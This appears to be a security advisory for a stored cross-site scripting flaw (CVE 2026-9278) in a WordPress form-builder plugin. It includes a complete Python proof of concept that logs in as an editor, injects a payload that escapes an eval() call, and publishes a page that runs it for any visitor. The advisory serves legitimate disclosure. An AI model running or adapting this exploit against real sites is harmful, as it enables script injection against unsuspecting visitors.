Form Builder CP < 1.2.47 – Editor+ Stored XSS via form_structure | CVE 2026-9278

Description

The plugin does not properly sanitize a form configuration value before storing it and using it as part of a client-side script execution, allowing authenticated users with Editor-level access and above to perform Stored Cross-Site Scripting attacks against any visitor of a page rendering the affected form, even when the `unfiltered_html` capability is disallowed (e.g. in a multisite network).

Proof of Concept

#!/usr/bin/env python3
# CP Easy Form Builder — Editor+ Stored XSS via form_structure
import requests, re, xmlrpc.client

TARGET = "http://wpscan-vulnerability-test-bench.ddev.site:33000"
USER, PASS = "editor", "password"

session = requests.Session()
session.post(f"{TARGET}/wp-login.php", data={
    "log": USER, "pwd": PASS, "wp-submit": "Log In",
    "redirect_to": f"{TARGET}/wp-admin/"
}, allow_redirects=True)

# 1) Scrape the settings-page nonce
resp = session.get(f"{TARGET}/wp-admin/admin.php?page=cp_easy_form_builder&cal=1")
nonce = re.search(r'<input name="_wpnonce" type="hidden" value="([^"]+)" />', resp.text).group(1)

# 2) Save a form whose ftype payload escapes the renderer's `eval("new "+ftype+"()")`
payload = 'constructor.constructor(alert(1))()'
form_structure = f'[[{{"name":"x","index":0,"title":"Test","ftype":"{payload}"}}],[{{"title":"Form"}}]]'
session.post(
    f"{TARGET}/wp-admin/admin.php?page=cp_easy_form_builder&cal=1",
    data={
        "_wpnonce": nonce,
        "cp_easyform_post_options": "1",
        "cp_easyform_id": "1",
        "form_structure_control": '""""""',
        "form_structure": form_structure,
    },
    allow_redirects=True,
)

# 3) Ensure a page renders the form shortcode
blog = xmlrpc.client.ServerProxy(f"{TARGET}/xmlrpc.php")
page_id = blog.wp.newPage(0, USER, PASS, {
    "title": "Contact Form",
    "description": '[CP_EASY_FORM_WILL_APPEAR_HERE id="1"]',
    "post_type": "page",
    "page_status": "publish",
})
print(f"PoC URL: {TARGET}/?page_id={page_id}")
# Visiting the URL fires alert(1) on any viewer (no interaction).